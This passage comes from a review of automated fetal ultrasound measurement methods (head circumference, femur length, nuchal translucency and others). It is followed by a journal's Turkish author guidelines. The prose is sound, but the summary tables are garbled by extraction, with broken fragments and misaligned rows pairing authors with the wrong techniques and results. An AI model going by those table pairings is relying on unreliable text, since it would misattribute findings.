and shape-based thresholding methods for pre-segmentation. They also used the SVM classifier to select the valid femoral
object from the segmented image. In the study on automatic measurement of BPD, Khan et al. (2014) developed a portable
ultrasound device and made automatic BPD measurement on the tablet by transferring the fetal head images obtained from
this device to the tablet. In the study, grayscale, smoothing, dilatation, erosion and binary threshold were used respectively
in the pre-processing step, and then the Canny edge detection function of the OpenCV library was used to find edge and
measure BPD. Khan et al. (2015) developed an automated method that can work on a tablet device to detect and measure FL.
First, ROI was used to obtain the relevant region and a binary threshold was used to transform it into a binary image. Then,
progressive probability Hough transform (PPHT) was applied to find a straight line with the highest number of votes to be
used in FL measurement. Zhang et al. (2017) used a Texton-based method for fetal head segmentation. A random forest (RF)
classifier was used to determine whether the segmented head region was obtained from an accurate imaging plane. BPD,
OFD and HC measurements were then calculated with an ellipse placed on the skull border. One of the first systems for
automatic measurement of HC from ultrasound images in all trimesters of pregnancy was created by Van den Heuvel et al.
(2018). In the study, Haar-like features were first calculated from ultrasound images to find the fetal skull, and these features
were used to train the random forest classifier. In the next step, HC was measured using HT, dynamic programming, and
ellipse fitting. Parallelly with Van den Heuvel et al. (2018), Li et al. (2018) studied automatic HC measurement. They first
integrated the image information into the random forest classifier to automatically determine the location of the fetal head
with ROI. A non-iterative ellipse fitting method (ElliFit) was then used to correctly fit the HC ellipse. It was stated that the
detection accuracy performed better than the existing methods. Sahli et al. (2019) studied automatic calculation of HC, BPD
and OFD measurements and classification of normal-abnormal fetus. Wavelet transform filter was used to remove speckle
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noise in the first step. In the second step, region of interest (ROI) detection method, based on HT method, was used for
localization accuracy. In the classification stage, support vector machine (SVM) classifier was used.

4.1.3. Deep Learning

To automatically calculate HC and BPD measurements, Sinclair et al. (2018) used VGG-16 model, which is a fully convolutional
network (FCN) architecture. It was stated that the model performed at a level similar with the expert and learned to produce
correct predictions. Wang et al. (2019) used an end-to-end deep neural network model to simultaneously address FL
segmentation and endpoint localization in ultrasound volumes. First, the basic U-Net model (Unet-ROI) was used to localize
the ROI of the FL to reduce the search area. In the next step, the ROI for segmentation and milestone localization was taken
as input and trained in the U-Net model. Yang et al. (2019) studied semantic segmentation of the fetus, GS, and placenta with
3D ultrasound images. In their study, 3D fully convolutional network (3D FCN), popular in semantic segmentation, is used
for semantic tagging. Then RNN was used to improve semantic tagging. Kim et al. (2019) developed a method for automatic
measurement of HC and BPD based on deep learning. In the study, a CNN architecture, U-net, is used to divide the images
into segments. In addition, bounding-box regression is used to remove incorrectly classified pixels. It was stated that the
method used showed a good performance in determining the head limit based on learning. In the study, conducted by
Sobhaninia et al. (2019), for automatic HC segmentation and prediction, multi-task CNN model used as a base and then a
modified version of the Link-Net structure with multi-scale inputs (MTLN) is used. Li et al. (2020) used fully convolutional
neural networks (FCNN) to automatically measure HC, BPD and OFD, as well as a regression branch to predict OFD and
BPD. Ellipse fitting and ROI were used for accurate estimation of OFD and BPD length in the regression branch. The designed
neural network SAPNet also eliminates speckle noise and unclear skull boundaries. It was stated that the methods used could
perform better than the existing fetal head measurement methods. In another study, Thirusittampalam and Thangavel (2020)
used deep learning, based on U-Net architecture, for localization of the fetal head region; afterwards, HC measurement was
made by using ellipse fitting on the extracted contour. It was stated that successful segmentation was achieved with almost
100% localization accuracy and 88.96% sensitivity. Zhang et al. (2020) aimed to predict HC’s automatic measurement without
the need for traditional ellipse fitting and segmentation methods and a large data set of manually segmented ultrasound
images. Based on this, CNN architectures and three loss functions have been studied and compared. Four models were tested,
namely CNN 263K, CNN 1M, Reg-VGG16 and Reg-ResNet50. Mean Absolute Error (MAE), Mean Squared Error (MSE)
and Huber Loss (HL) loss functions are used to measure the error and success rates of the models. It was stated that Reg-
ResNet50 performed better with MSE loss function. Fiorentino et al. (2020) used the tinyYOLOv2 model, which is a CNN
architecture, to localize and center the fetal head in automatic measurement of HC. After learning the position of the fetal
head, the U-Net architecture was used for the segmentation process and HC measurement was made by applying ellipse
fitting to the CNN regression output. It has been stated that the proposed method has a great potential to support physicians.
Yang et al. (2020) used Residual U-Net and ASPP U-net models for automatic segmentation of biometric parameters AC, FL
and CRL. Residual U-Net was used for the gradient problem and ASPP U-Net was used to increase the accuracy of the
segmentation without increasing the depth of the model.

Oghli et al. (2021) developed a convolutional neural network architecture called Attention MFP-Unet for automatic segmentation
and measurement of AC, BPD, FL and HC biometric parameters. It was stated that the developed approach showed superior
performance compared to the latest technology studies. In the study of Zhu et al. (2021), Segnet, which is a deep learning
method, and random forest regression model, which is a machine learning method, were used for automatic analysis of FL.
The Segnet method shows better performance compared to the random forest regression model. Zhang et al. (2022) tried and
compared various convolutional neural network models including segmentation and regression methods for automated
measurement of HC. It has been stated that although the regression models do not require segmentation and ellipse fitting,
they are less costly, but segmentation methods give better results and regression-based methods are promising for the future.

4.1.4. Hybrid Studies

In the study conducted by Lu et al. (2005), for the automatic measurement of HC and BPD, each image was pre-processed
with a low-pass filter. The K-mean algorithm was used to classify each pixel according to its intensity value. BPD and HC

were calculated from the ellipse determined by iterative randomized Hough transform (IRHT). For automatic measurement
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of AC, one of the fetal biometric measurements, Yu et al. (2008) developed a four-step method. In the first stage, an advanced
instantaneous coefficient of variation (ICOV) method was developed to detect the edges of the abdominal contour and to
reduce the effects of speckle noise. In the second step, Fuzzy C-Means clustering (FCM) is used to separate protruding edges
from weak edges. Then IRHT was applied to determine an elliptical contour on AC. In the final stage, the GVF snake method
was used to adapt the ellipse to the actual edges of the abdominal contour. Ravishankar et al. (2016) presented a hybrid
approach by combining traditional tissue analysis methods and deep learning methods in their automated method to detect
and measure abdominal contour. It was stated that CNNs performed better than traditional tissue analysis methods for better
ROI localization. However, it has been also stated that the hybrid approach gives better results than both approaches. Better
segmentation results were obtained in determining the best ROI when the predictions from CNN using HOG were combined
with those from the Gradient Boosting Machine (GBM). In the study reported by Ibrahim et al. (2017), a trainable segmentation
technique based on the Histogram of Oriented Gradients (HOG) was used to segment the GS and estimate its size. Jang et
al. (2018) used the CNN method to classify ultrasound images, then Hough transform to measure AC. It has been noted that
the method used performed well in most cases, despite few training data, but could not accurately predict AC in cases of
extremely large fetuses or abdominal disturbances. At the same time with Jang et al. (2018), Kim et al. (2018) used CNN,
U-Net and Hough transforms for automatic AC estimation in their study. After determining CNN to classify the images,
Hough transform and AC to obtain an initial estimate of AC, a U-Net and a classification CNN were also used to check
whether the image was suitable for AC measurement. It was stated that the proposed method is open for development. Rasheed
et al. (2021) trained ultrasound videos on Alexnet and U-net architectures in their study on automatic measurement of BPD
and HC parameters to determine gestational age and plotted ellipses on the resulting segmented images. They achieved 96%
accuracy in the developed method.

Table 11
Overview of existing studies which focus on one prenatal “biometric parameter”
Biometric . Deep/Machine .
Parameter Authors Used Techniques Learning/Hybrid* Results/ Observations
Chakkarwar et al., 2010 Thresholding operator Automatic measurement of the GS
was successful
Zhang et al., 2011 AdaBoost algorithm ML Average mez:)stl)rsegment erroris
Zhang et al., 2012 AdaBoost algorithm ML Is practlc'al, reproducible, and
GS reliable approach
Rawat et al., 2013 GVF snake-based segmentation Not suitable for twin pregnancy
Khazendar et al., 2014 Otsu Thresholding, morphological ML Accurately identifies miscarriage
operators, KNN
Ibrahim et al., 2017 HOG, neural networks H Producing accurate measurements
Yang et al., 2019 3D FCN, RNN DL Decides miscarriage or normal case
Haar-like Feature, Random Forest Performs comparable to an
Van den Heuvel et al, 2018 classifier, HT, Ellipse Fitting ML experienced sonographer
Lietal., 2018 ROI, Random Forest, ElliFit ML Detection accuracy better than the
existing methods
Sobhaninia et al., 2019 CNN based link set model DL Results match well with the
radiologist annotations
N . . 100% localization accuracy,
HC Thirusittampalam &Thangavel, 2020 U-Net, Ellipse Fitting DL 88.96% sensitivity
Zhang et al., 2020 CNN (CNN 263K, CNN 1M,
Reg-VGG16 and Reg-ResNet50) DL Reg-ResNet50 performed better
Fiorentino et al., 2020 tinyYOLOV2 and U-Net model, DL Great potential to support
Ellipse Fitting physicians

Segmentation methods give better
Zhang et al., 2022 Various CNN models compared DL results and regression-based
methods are promising

Reference measurements are
BPD Khan et al., 2014 Canny Edge Detection comparable to the interobserver
agreement for BPD
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Thomas et al., 1991

Mukherjee et al., 2010

Morphological operators, threshold

Polynomial curve fitting,
curvature-based thresholding, LTS

The proposed algorithm has
potential for reliable ultrasound
measurements
Method can be adapted for other
fetal limbs
Effective for the purpose of FL

Wang, 2014 Entropy based segmentation
measurement
Density-based and shape-based Accuracy 86.67% for BMP, 91.11
Mathews and Deepa, 2014 thresholding, SVM ML for JPEG
The automatic method
Khan et al., 2015 ROI, binary threshold, PPHT ML demonstrated comparable .e rror
range between the automatic and
FL manual FL measurements.
. . o &
Yu et al., 2015 Phase symmet.ry, saliency visual Measurement accuracy 94.5%
attention model 1.6%
Amoah et al., 2015 Phase symmetry from Gabor filter Fully automatic and can replace the
bank, Otsu threshold manual approach
. Localized region-based active Noise reduction has a g e at effect
Hermawati et al., 2019 on accurately measuring the
contour (LRAC) !
gestational age
Has potentials to be extended to
Wang, 2019 U-Net DL similar tasks in volumetric
ultrasound
Zhu et al., 2021 Segnet DL Better performance com'pared to
the random forest regression model
Instantaneous coefficient of Seomentation accurac
Yu et al., 2008 variation (ICOV), Fuzzy C-Means H g98 78%+/-0.16% y
clustering, IRHT, GVF snake e SRR
Wang et al., 2014 ROI, MSFA, IRHT H Can be used as a reliable and
AC accurate tool
Ravishankar et al., 2016 CNN, HOG, GBM H CNNs performed better than
traditional tissue analysis
Jang et al., 2018 CNN, HT Could not accurately predict AC in
cases of extremely large fetuses
Kim et al., 2018 Classification CNN, U-Net and HT Open for development
* DL stands for Deep Learning, ML stands for Machine Learning, H stands for Hybrid
Table 111
Overview of existing studies which focus on multiple prenatal “biometric parameters”
Biometric . Deep/Machine .
Parameters Authors Used Techniques Learning/Hybrid Results/ Observations
Luetal., 2005 K-mean algorithm, IRHT H Results are consistent and
accurate
Satwika et al., 2013 I.{ough. Transform with one Can improve the speed of
dimensional parameter space previous research
HC, BPD Sinclair et al., 2018 VGG-16 model of FCN architecture DL Performf:d atalevel similar
with the expert
Kim et al., 2019 U-net DL Good at deter'ml'mng the head
limit
Rasheed et al., 2021 U-net, Alexnet, Ellipse Fitting H 96% accuracy
Mathews et al., 2014 Chamfer Matching based Ellipse Superior to HT-based ellipse
Fitting, HT based Ellipse Fitting sensing
Sofka et al., 2014 Monte Carlo method, IDN ML meets the-re-qulrements for
clinical use
HC, BPD, OFD Foi et al., 2014 DoGEll Segmentation accuracy was
superior to other methods
Zhang et al., 2017 Texton-based method, RF classifier ML Accuracy 95%
Sahli et al., 2019 HT method-based ROI, SVM ML SVM is rapid and accurate
Lietal., 2020 SAPNet of FCNN architecture, DL Better than the existing fetal

Ellipse Fitting, ROI

head measurement methods
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Can improve segmentation

AC, FL, CRL Yang et al., 2020 Residual U-net and ASPP U-net DL
accuracy

Superior performance

HC, BPD, A, FL, Oghli et al., 2021 Attention MFP-Unet DL compared to the latest

HC technology studies
HC, BPD, AC, FL, Carneiro et al., 2008 Constrained probabllhistlc boosting ML Measurements are close to the
CRL tree classifier accuracy of the experts

In Table II and Table III, overview of existing studies which focus on one prenatal “Biometric Parameter” and multiple

“Biometric Parameters” are given respectively.
4.2. Studies Focused on Measurement of Soft Markers
4.2.1. Traditional Image Processing

Lakshmi et al. (2008) studied automatic NT and FMF angle measurement for the diagnosis of Down syndrome. ROI, threshold,
dilation, and erosion methods were used for FMF segmentation, respectively, and FMF angle was measured using the best
fit line method for angle measurement. ROI and Otsu threshold were used for NT segmentation. NT thickness was estimated
by finding the coordinates of the pixels and calculating the maximum vertical distance. Nirmala and Palanisamy (2010)
presented a semiautomatic method measuring NB length and FMF angle for the prediction of Down syndrome anomaly. The
median filter was used in the first step to remove speckle noise and the relevant areas were clipped. In the next step, the NB,
anterior bone and palate were divided into sections by applying mean shift cluster analysis and the Canny operator was used
to improve the visibility of the edges. In the last step, NB was measured using Blob analysis and FMF was measured using
least square line fitting. Wee et al. (2010) used the normalized grayscale cross correlation technique for automatic detection
of the presence or absence of NB. The threshold was set at 0.35 to classify the nasal bone according to its absence or presence.
It has been stated that the method developed is an effective method for automatic diagnosis. Anjit and Rishidas (2011)
developed a method for detecting NB using ultrasound images of the fetus at 11-13 weeks for early detection of Down
syndrome. First, a median filter is used to remove speckle noise. In the next step, the watershed transform algorithm was
used for the segmentation process and the features in the nasal region were extracted using Discrete Cosine Transform (DCT)
and Daubechies D4 Wavelet transform. The extracted features were trained in the Back Propagation Neural Network (BPNN)
for the classification process. It has been stated that the proposed method shows high accuracy performance in the diagnosis
of Down syndrome and can reduce operator error when combined with certain detection methods. Karl et al. (2012) and Zhen
et al. (2013) performed and compared the IT measurement both manually and semi-automatically with a software, which
was integrated into the ultrasound machine one year apart. It was stated that the software can be used safely for IT evaluation,
although it is open for development. Sonia and Shanthi (2015) have developed a method to detect NB length, which is one
of the important soft markers for early detection of Down syndrome. In the first step, ROI was used to subtract the region
of interest in the image and reduce the calculation time. In the second step, morphological operators (erosion and dilation),
herbaceous thresholding and logical procedures were used for segmentation. In the last step, the NB length is calculated with
the Euclidean distance. It has been stated that the proposed technique can be helpful in the early detection of Down syndrome.
Sonia & Shanthi (2016) developed a method for measuring NT thickness for early detection of Down syndrome. In the first
stage, Lee filter was used to remove speckle noise and ROI was used to extract the relevant region in the image. In the second
step, morphological operators (erosion and dilation), Otsu thresholding and logical operations were used for segmentation.
In the last step, NT thickness was measured based on the maximum height. Nie et al. (2017) developed an automated method
based on dynamic programming to determine the area and the thickness of NT. A new cost function has been proposed for

dynamic programming and it is stated that this method provides higher accuracy in NT limit detection.
4.2.2. Machine Learning

Rafeek and Gunasundari (2013) studied NB detection using the BPNN model. In the pre-processing step, hybrid method was
used to remove speckle noise and ROI was used to extract the area of interest. Then the normalized dataset was used to train
the BPNN and then this network was used to classify the images. It is stated that the proposed method can reduce operator
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error and increase detection rate when combined with detection methods. Park et al. (2013) firstly used the Hierarchical
Detection Network (HDN) network to detect the NT region in their study of automatic NT measurement. Then, the approximate
edges of the NT region were found using Dijkstra’s shortest path algorithm and Graph Cut segmentation was used for the
correct segmentation process. Finally, NT measurement was calculated based on the maximum thickness of the segmentation
result. Sciortino et al. (2017) presented an uncontrolled methodology for determining NT thickness. First, a variation of
anisotropic filter was used to remove speckle noise. Wavelet analysis and neural networks are used to find NT effectively.
Finally, NT thickness was measured from the edges obtained with standard mathematical morphology.

4.2.3. Deep Learning

Liu et al. (2019) first designed a CNN to directly detect the NT region. In the next step, they used a customized architecture
and U-Net model with loss functionality for precise NT segmentation. In the last step, NT measurement was calculated using
Principal Component Analysis (PCA). Although there are not many studies on the automatic diagnosis of ventriculomegaly,
which is one of the most common abnormal findings in prenatal diagnosis, Chen et al. (2020) worked on automatic measurement
of LV from ultrasound images. In the first step, they used Mask-RCNN, one of the deep convolutional neural network models,
for pixel-based segmentation. In the next step, the number of pixels per centimeter (PPC) was obtained by morphological
processes. In the last step, the pixel length of the LV was obtained by the minimum circumscribing rectangle (MER) method
and the LV width was measured by converting the pixel length to a physical length using PPC. Chaudharia and Oza (2021)
developed a method for automatic NT detection based on Scale-invariant feature transform (SIFT) and General Regression
Neural Network (GRNN). It is stated that this developed method has less errors than SVM, Artificial Neural Network (ANN),
Naive Bayes and KNN. Thomas and Arjunan (2022) used VGG-16 based SegNet architecture for segmentation of NT region
and AlexNet architecture for classification in their study. It has been stated that the study will increase the diagnosis rate of

clinicians.
4.2.4. Hybrid Studies

On the measurement of NT, Deng et al. (2012) have developed an automatic method. In the study in which a hierarchical
model is presented, SVM classifier was trained to classify the areas in the image as body, head and NT, and the HOG feature
was used to remove speckle noise during training. The built-in Gaussian pyramid is used so that the detection window
corresponding to each object can find the object in a suitable scale. In the next step, a spatial model is used to define spatial
constraints. Finally, NT determination was obtained by applying a generalized distance transformation. It was stated that
the method suggested was an effective method for automatic detection. Anzalone et al. (2013) The first stage is the pre-
processing stage, and the following steps are applied in order: anisotropic filtering, thresholding, and mathematical morphology.
In the next step, HT was used to identify the fetal head and NT. ROI was found with the template matching approach. K-
means clustering is used to estimate the best template and number to use.

Table IV
Overview of existing studies which focus on “soft markers”
Soft Markers Authors Used Techniques Deep‘/Machme. Results/ Observations
Learning/Hybrid
Ventriculomegaly Chen et al., 2020 Mask-RCNN, morphological DL Superior performance over
operators manual measurement
ROI, mean shift cluster ..
NB, FMF angle Nirmala & Palanisamy, 2010 analysis, Canny operator, May help -th-e P hy§ rean .for
. better clinical diagnosis
Blob analysis
- Good accuracy of
NT, FMF angle Lakshmi et al., 2018 Best it line method, ROL, measurement of both NT and
Otsu threshold
FMF
IT Karl et al., 2012 SonoNT software The software can be used
Zhen et al., 2013 SonoNT software safely for IT evaluation
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Wee et al., 2010 Normalized grayscale cross
correlation
Watershed transform
algorithm, DCT, Daubechies

D4 Wavelet transform, BPNN

Angit & Rishidas, 2011

Effective for automatic
diagnosis

High accuracy in diagnosis of
Down syndrome

NB Rafeek & Gunasundari, 2013 ROI, Prewitt, Sobel and
Laplacian methods,
Watershed algorithm, DCT, ML Can reduce operator error
Wavelet transform, BPNN
Sonia & Shanthi, 2015 ROI, erosion and dilation, Maximum NB of 5.24 +0.12
Otsu thresholding mm for 19-week normal fetus
Deng et al., 2012 SVM classifier, HOG, . .
. . . Effective for automatic
Gaussian pyramid, spatial H .
detection
model
Park et al., 2013 HDN, Dijkstra’s shortest path
algorithm, Graph Cut ML Suitable for clinical use
segmentation
Anzalone et al., 2013 HT, ROI, K-means clustering H Reliable system t!qa't can be
used by physicians
Sonia & Shanthi, 2016 Mutual thresholding, logical Provides accurate NT, helps
operations for DS detection
Nie et al., 2017 ROI, erosion ar}d d11at1'0n, Provides high accuracy in NT
NT Otsu thresholding, logical . .
. limit detection
operations
Sciortino et al., 2017 Dynamic programming-based ML Average error of at most 0.3
method mm in 97.4% of the cases
Liu et al., 2019 Wavelet analysis, neural Automatically detects and
network, mathematical DL measures NT with promising
morphology performance
Chaudharia & Oza, 2021 Customized CNN and U-Net, Has less errors than SVM,
PCA bL ANN, Naive Bayes and kNN
SIFT, GRNN S ave Bay
Thomas & Arjunan (2022) Segnet DL Willincrease the diagnosis

rate of clinicians

In Table IV, an overview of existing studies which focus on “Soft Markers” is given.

Table V

Existing studies grouped by algorithms/methods used.

Algorithm/Method Biometric Parameters/Soft Markers Authors
. GS Zhang et al., 2011
Ada Boost algorithm Gs Zhang et al., 2012
AC Yu et al., 2008
GVF Snake method GS Rawat et al., 2013
GS Khazendar et al., 2014
FL Amoabh et al., 2015
Otsu Thresholding NB Sonia & Shanthi, 2015
NT Nie et al., 2017
NT, FMF Angle Lakshmi et al., 2018
FL Thomas et al., 1991
Morphological operators GS Khazendar et al., 2014
Ventriculomegaly Chen et al., 2020
. GS Khazendar et al., 2014
kNN algorithm NT Chaudharia & Oza, 2021
NT Deng et al., 2012
HOG algorithm AC Ravishankar et al., 2016
GS Ibrahim et al., 2017
HC, BPD, OFD Zhang et al., 2017
Random Forest HC Van den‘ Heuvel et al, 2018
HC Lietal., 2018
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NT Anzalone et al., 2013
HC, BPD, OFD Mathews et al., 2014
HC Van den Heuvel et al, 2018
Hough Transform AC Jang et al., 2018
AC Kim et al., 2018
HC, BPD, OFD Sahli et al., 2019
HC, BPD, OFD Mathews et al., 2014
HC Van den Heuvel et al, 2018
Ellipse Fitting HC Thirusittampalam &Thangavel, 2020
HC, BPD, OFD Lietal., 2020
HC Fiorentino et al., 2020
HC, BPD Rasheed et al., 2021
NB, FMF angle Nirmala & Palanisamy, 2010
NB Rafeek & Gunasundari, 2013
NT Anzalone et al., 2013
AC Wang et al., 2014
FL Khan et al., 2015
ROI NB Sonia & Shanthi, 2015
NT Nie et al., 2017
HC Lietal., 2018
NT, FMF angle Lakshmi et al., 2018
HC, BPD, OFD Sahli et al., 2019
HC, BPD, OFD Lietal., 2020
Canny operator NB, FMF angle Nirmala & Palanisamy, 2010
BPD Khan et al., 2014
NT Deng et al., 2012
. FL Mathews and Deepa, 2014
Support Vector Machine HC, BPD, OFD Sahli et al., 2019
GS Ibrahim et al., 2017
Neural networks NT Liu et al., 2019
AC Ravishankar et al., 2016
AC Jang et al., 2018
AC Kim et al., 2018
CNN HC Sobhaninia et al., 2019
HC Zhang et al., 2020
NT Chaudharia & Oza, 2021
HC Zhang et al., 2022
AC Kim et al., 2018
FL Wang, 2019
HC, BPD Kim et al., 2019
U-net HC Thirusittampalam &Thangavel, 2020
HC Fiorentino et al., 2020
NT Chaudharia & Oza, 2021
HC, BPD Rasheed et al., 2021
Phase symmetry FL Yu et al., 2015
FL Amoabh et al., 2015
FL Zhu et al., 2021
Segnet NT Thomas & Arjunan, 2022
HC, BPD Luetal., 2005
AC Yu et al., 2008
[RHT AC Wang et al., 2014
K-means clustering HC, BPD Luetal, 2005
NT Anzalone et al., 2013
HC, BPD Sinclair et al., 2018
VGG-16 HC Zhang et al., 2020
1T Karl et al., 2012
SonoNT IT Zhen et al., 2013
. NB Angit & Rishidas, 2011
Watershed algorithm NB Rafeck & Gunasundari, 2013
NB Angit & Rishidas, 2011
Wavelet transform NB Rafeek & Gunasundari, 2013
NT Liu et al., 2019
DCT NB Angit & Rishidas, 2011
NB Rafeek & Gunasundari, 2013
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NB Angit & Rishidas, 2011
BPNN NB Rafeel% & Gunasundari, 2013
Erosion and dilation NB Soniai& Shanthi, 2015
NT Nie et al., 2017
Logical operations NT Sonia & Shanthi, 2015
NT Nie et al., 2017

Table V is a summary of common algorithms and methods for complete existing work reviewed in this paper.
5. CONCLUSION

Detailed examination and measurement of biometric parameters and soft markers to determine anomalies or growth-
development status has an important place in monitoring pregnancy. However, measurement errors are possible due to many

factors. Therefore, computer-aided diagnosis has started to occupy an important place in the field of medicine.

In this review, computer-based studies on the most commonly used biometric parameters and soft markers for prenatal
diagnosis were examined. Studies are grouped according to the indicators as biometric parameters and soft markers, which
are checked for monitoring fetal health and development. These two groups are then categorized as traditional image
processing, machine learning, deep learning, and hybrid according to the techniques used. Hybrid studies are the ones that
use traditional image processing and learning techniques together.

The computer-based diagnostic methods used in these studies gave better results than expected and showed a level of accuracy
to support experts. However, results show that not any method gives accurate and precise results, and the methods are open
for development. Recently, studies started to focus on deep learning methods, rather than traditional methods. One of the
deep learning architecture, CNN, shows little dependence on pre-processing and shows high performance especially in image
processing. Also, CNNs are the most powerful technique for image segmentation. With these features, CNNs seem as they
are going to be the leading technology for monitoring fetus health for near future.

However, it should not be forgotten that considering deep learning methods give better results than other techniques, they
are still open for improvement. According to the working principle of machine learning and deep learning, the more training
data, the higher the success. The scarcity of available ultrasound images and the very costly and time-consuming nature of
expert explanations are two of the major challenges. Training the learning model with little data and achieving success is
among the future goals. In addition, the poor quality of ultrasound images reduces the success rate compared to other medical
images. With the development of imaging techniques, the increase in the quality of ultrasound images and the development
of 3D imaging will overcome this problem. Another challenge is that deep learning models require high-performance
computers. Many hardware architectures are being studied to overcome this challenge, such as Google’s Tensor Processing
Unit (TPU) which is a hardware accelerator specialized in deep learning tasks.
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YAZARLARA BiLGIi

TANIM

Acta INFOLOGICA (ACIN), istanbul Universitesi Enformatik Boliimii’niin yaymidir. Acik-erigimli, bilimsel ve hakemli bir dergi olarak
yilda iki defa Haziran ve Aralik aylarinda yayinlanir. Derginin baslangig tarihi 2017’ dir.

AMAC VE KAPSAM

ACIN, veri-enformasyon-bilgi kavramlarini, bilgi- iletisim teknolojileri ve uygulamalarini temel alarak gerek enformatik alaninda gerekse
disiplinler arast ger¢eklestirilen ¢aligmalar i¢in bilimsel bir yaym ortami sunmayi, yayinlanan ¢aligmalar ile bu alanda ¢alisan, alana ilgi
duyan arastirmacilar ve ilgililerin gelisimine katki saglamay1 amaglamaktadir.

ACIN’1n ¢aligma alanlar1 agagida listelenmistir. Bu alanlarda ya da bu alanlarla ilgili oldugu diisiiniilen alanlardaki tiim ¢aligmalar derginin
kapsamindadir.

Akilli Sistemler

Bilgi Giivenligi ve Hukuk

Bilgi Yonetimi

Bilgisayar Aglar1

Bilgisayar Mimarisi

Bilisim Sistemleri

Biyoenformatik

Cografi Bilgi Sistemleri
E-Uygulamalar

Internet Teknolojileri

Karar Destek Sistemleri ve Is Zekasi
Mikro Denetleyici ve Uygulamalari
Mobil Sistemler

Modelleme ve Optimizasyon
Sosyal ve Dijital Medya

Veri Madenciligi

Veri Tabani Sistemleri

Yapay Zeka ve Makine Ogrenmesi
Yazilim Mithendisligi

Yonetim Biligim Sistemleri
EDITORYAL POLITiKALAR VE HAKEM SURECI
Yayin Politikasi

Dergiye yaymlanmak iizere gonderilen makalelerin igerigi derginin amag¢ ve kapsami ile uyumlu olmalidir. Dergi, orijinal aragtirma
niteligindeki yazilar1 yaymlamaya 6ncelik vermektedir

Genel ilkeler

Daha 6nce yaymlanmamis ya da yaymlanmak {izere bagka bir dergide halen degerlendirmede olmayan ve her bir yazar tarafindan onaylanan
makaleler degerlendirilmek iizere kabul edilir.

On degerlendirmeyi gecen yazilar iThenticate intihal tarama programindan gegirilir. Intihal incelemesinden sonra, uygun makaleler Editor
tarafindan orijinaliteleri, metodolojileri, makalede ele alinan konunun 6nemi ve derginin kapsamina uygunlugu agisindan degerlendirilir.

Bilimsel toplantilarda sunulan 6zet bildiriler, makalede belirtilmesi kosulu ile kaynak olarak kabul edilir. Editor, gonderilen makale
bicimsel esaslara uygun ise, gelen yaziy1 yurticinden ve /veya yurtdisindan en az iki hakemin degerlendirmesine sunar, hakemler gerek
gordiigii takdirde yazida istenen degisiklikler yazarlar tarafindan yapildiktan sonra yaymlanmasina onay verir.




YAZARLARA BiLGi

Makale yaymlanmak iizere Dergiye gonderildikten sonra yazarlardan hicbirinin ismi, tiim yazarlarin yazil izni olmadan yazar listesinden
silinemez ve yeni bir isim yazar olarak eklenemez ve yazar sirasi degistirilemez.

Yayina kabul edilmeyen makale, resim ve fotograflar yazarlara geri gonderilmez.
ACIK ERISIM ILKESI

ACIN’in tiim icerigi okura ya da okurun dahil oldugu kuruma fiicretsiz olarak sunulur. Okurlar, ticari amag¢ haricinde, yayinct ya da
yazardan izin almadan dergi makalelerinin tam metnini okuyabilir, indirebilir, kopyalayabilir, arayabilir ve link saglayabilir.

ACIN makaleleri agik erisimlidir ve Creative Commons Atif-GayriTicari 4.0 Uluslararasi (CC BY-NC 4.0) (https://creativecommons.org/
licenses/by-nc/4.0/deed.tr ) olarak lisanshidir.

islemleme Ucreti

Derginin tiim giderleri Istanbul Universitesi tarafindan karsilanmaktadir. Dergide makale yayin1 ve makale siireglerinin yiiriitiilmesi iicrete
tabi degildir. Dergiye gonderilen ya da yayn icin kabul edilen makaleler i¢in islemleme iicreti ya da gonderim ticreti alinmaz.

Hakem Siireci

Daha 6nce yayinlanmamis ya da yayinlanmak iizere baska bir dergide halen degerlendirmede olmayan ve her bir yazar tarafindan onaylanan
makaleler degerlendirilmek tizere kabul edilir. Gonderilen ve 6n kontrolii gecen makaleler iThenticate yazilimi kullanilarak intihal igin
taranir. Intihal kontroliinden sonra, uygun olan makaleler bas editor tarafindan orijinallik, metodoloji, islenen konunun énemi ve dergi
kapsamu ile uyumlulugu agisindan degerlendirilir. Bas editor, makaleleri, yazarlarin etnik kdkeninden, cinsiyetinden, cinsel yoneliminden,
uyrugundan, dini inancindan ve siyasi felsefesinden bagimsiz olarak degerlendirir. Yayina génderilen makalelerin adil bir sekilde ¢ift taraflt
kor hakem degerlendirmesinden gegmelerini saglar.

Secilen makaleler en az iki ulusal/uluslararasi hakeme degerlendirmeye gonderilir; yaym karari, hakemlerin talepleri dogrultusunda
yazarlarin gergeklestirdigi diizenlemelerin ve hakem siirecinin sonrasinda bas editdr tarafindan verilir.

Hakemlerin degerlendirmeleri objektif olmalidir. Hakem siireci sirasinda hakemlerin asagidaki hususlari dikkate alarak degerlendirmelerini
yapmalari beklenir.

- Makale yeni ve 6nemli bir bilgi igeriyor mu?

- Oz, makalenin igerigini net ve diizgiin bir sekilde tanimliyor mu?
- Yontem biitlinliiklii ve anlagilir sekilde tanimlanmig mi?

- Yapilan yorum ve varilan sonuglar bulgularla kanitlantyor mu?

- Alandaki diger ¢aligmalara yeterli referans verilmis mi?

- Dil kalitesi yeterli mi?

Hakemler, gonderilen makalelere iliskin tiim bilginin, makale yayinlanana kadar gizli kalmasini saglamali ve yazar tarafinda herhangi bir telif
hakki ihlali ve intihal fark ederlerse editore raporlamalidirlar. Hakem, makale konusu hakkinda kendini vasifli hissetmiyor ya da zamaninda
geri doniis saglamast miimkiin goriinmiiyorsa, editére bu durumu bildirmeli ve hakem siirecine kendisini dahil etmemesini istemelidir.

Degerlendirme siirecinde editor hakemlere gézden gegirme i¢in gonderilen makalelerin, yazarlarin 6zel miilkii oldugunu ve bunun imtiyazl
bir iletisim oldugunu agikga belirtir. Hakemler ve yayin kurulu iiyeleri baska kisilerle makaleleri tartisamazlar. Hakemlerin kimliginin gizli
kalmasina 6zen gosterilmelidir.

TELIF HAKKINDA

Yazarlar Acta INFOLOGICA (ACIN) dergisinde yaymlanan ¢alismalarinin telif hakkina sahiptirler ve ¢alismalari Creative Commons
Atif-GayriTicari 4.0 Uluslararasi (CC BY-NC 4.0) olarak lisanslidir. Creative Commons Atif-GayriTicari 4.0 Uluslararas1 (CC BY-NC 4.0)
lisansi, eserin ticari kullanim disinda her boyut ve formatta paylasilmasina, kopyalanmasina, ¢ogaltilmasina ve orijinal esere uygun sekilde
atifta bulunmak kaydiyla yeniden diizenleme, doniistiirme ve eserin iizerine inga etme dahil adapte edilmesine izin verir.
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YAYIN ETIiGi VE ILKELER

Acta INFOLOGICA (ACIN), yayin etiginde en yiiksek standartlara baglidir ve Committee on Publication Ethics (COPE), Directory
